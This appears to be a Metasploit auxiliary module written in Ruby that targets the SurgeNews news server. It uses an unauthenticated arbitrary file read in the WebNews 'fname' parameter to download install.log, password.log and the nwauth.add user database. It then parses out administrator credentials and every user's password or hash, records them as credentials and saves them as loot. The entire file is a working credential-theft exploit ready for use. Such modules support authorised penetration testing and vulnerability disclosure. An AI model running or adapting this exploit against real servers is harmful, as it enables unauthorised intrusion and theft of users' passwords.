## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner HttpFingerprint = { pattern: [ /DManager/ ] } def initialize(info = {}) super( update_info( info, 'Name' => 'SurgeNews User Credentials', 'Description' => %q{ This module exploits a vulnerability in the WebNews web interface of SurgeNews on TCP ports 9080 and 8119 which allows unauthenticated users to download arbitrary files from the software root directory; including the user database, configuration files and log files. This module extracts the administrator username and password, and the usernames and passwords or password hashes for all users. This module has been tested successfully on SurgeNews version 2.0a-13 on Windows 7 SP 1 and 2.0a-12 on Ubuntu Linux. }, 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://news.netwinsite.com:8119/webnews?cmd=body&item=34896&group=netwin.surgemail'], ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS] }, 'Author' => 'bcoles', 'DisclosureDate' => '2017-06-16' ) ) register_options [ Opt::RPORT(9080) ] end def max_retries 3 end def check_host(_ip) @tries = 0 res = read_file 'install.log' if res =~ /SurgeNews/ return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def read_file(file) data = nil @tries += 1 vprint_status "Retrieving file: #{file}" res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'webnews'), 'vars_get' => { 'cmd' => 'part', 'fname' => file } if !res vprint_error 'Connection failed' elsif res.code == 550 vprint_error "Could not find file '#{file}'" elsif res.code == 200 && res.body =~ /550 Key: No key activated/ # unregistered software throws an error once in every ~20 requests # try again... if @tries >= max_retries vprint_error "Failed to retrieve file '#{file}' after max retries (#{max_retries})" else vprint_status 'Retrying...' return read_file file end elsif res.code == 200 && !res.body.empty? vprint_good "Found #{file} (#{res.body.length} bytes)" data = res.body else vprint_error 'Unexpected reply' end @tries = 0 data end def parse_log(log_data) return if log_data.nil? username = log_data.scan(/value_set\(manager\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last password = log_data.scan(/value_set\(password\)\((.*)\)/).flatten.reject { |c| c.to_s.empty? }.last { 'username' => username, 'password' => password } end def parse_user_db(user_data) return if user_data.nil? creds = [] user_data.lines.each do |line| next if line.eql? '' next unless line =~ /^(.+?):(.*):Groups=/ user = ::Regexp.last_match(1) pass = ::Regexp.last_match(2) # clear text credentials are prefaced with '*' if pass.starts_with? '*' creds << { 'username' => user, 'password' => pass[1..] } # otherwise its a hash else creds << { 'username' => user, 'hash' => pass } end end creds end def run_host(_ip) @tries = 0 service_data = { address: rhost, port: rport, service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } cred_table = Rex::Text::Table.new 'Header' => 'SurgeNews User Credentials', 'Indent' => 1, 'Columns' => ['Username', 'Password', 'Password Hash', 'Admin'] # Read administrator password from password.log admin = parse_log read_file 'password.log' # If password.log doesn't contain credentials # then the password hasn't been updated since install. # Retrieve the credentials from install.log instead. admin = parse_log read_file 'install.log' if admin.nil? if admin.nil? vprint_error 'Found no administrator credentials' else print_good "Found administrator credentials (#{admin['username']}:#{admin['password']})" cred_table << [admin['username'], admin['password'], nil, true] credential_data = { origin_type: :service, module_fullname: fullname, private_type: :password, private_data: admin['password'], username: admin['username'] } credential_data.merge! service_data credential_core = create_credential credential_data login_data = { core: credential_core, access_level: 'Administrator', status: Metasploit::Model::Login::Status::UNTRIED } login_data.merge! service_data create_credential_login login_data end # Read user credentials from nwauth.add users = parse_user_db read_file 'nwauth.add' if users.blank? vprint_error 'Found no user credentials in nwauth.add' return end vprint_status "Found #{users.length} users in nwauth.add" unless users.nil? users.each do |user| next if user.empty? cred_table << [user['username'], user['password'], user['hash'], false] if user['password'] print_good "Found user credentials (#{user['username']}:#{user['password']})" credential_data = { origin_type: :service, module_fullname: fullname, private_type: :password, private_data: user['password'], username: user['username'] } else credential_data = { origin_type: :service, module_fullname: fullname, private_type: :nonreplayable_hash, private_data: user['hash'], username: user['username'] } end credential_data.merge! service_data credential_core = create_credential credential_data login_data = { core: credential_core, access_level: 'User', status: Metasploit::Model::Login::Status::UNTRIED } login_data.merge! service_data create_credential_login login_data end end print_line print_line cred_table.to_s p = store_loot 'surgenews.user.creds', 'text/csv', rhost, cred_table.to_csv, 'SurgeNews User Credentials' print_good "Credentials saved in: #{p}" end end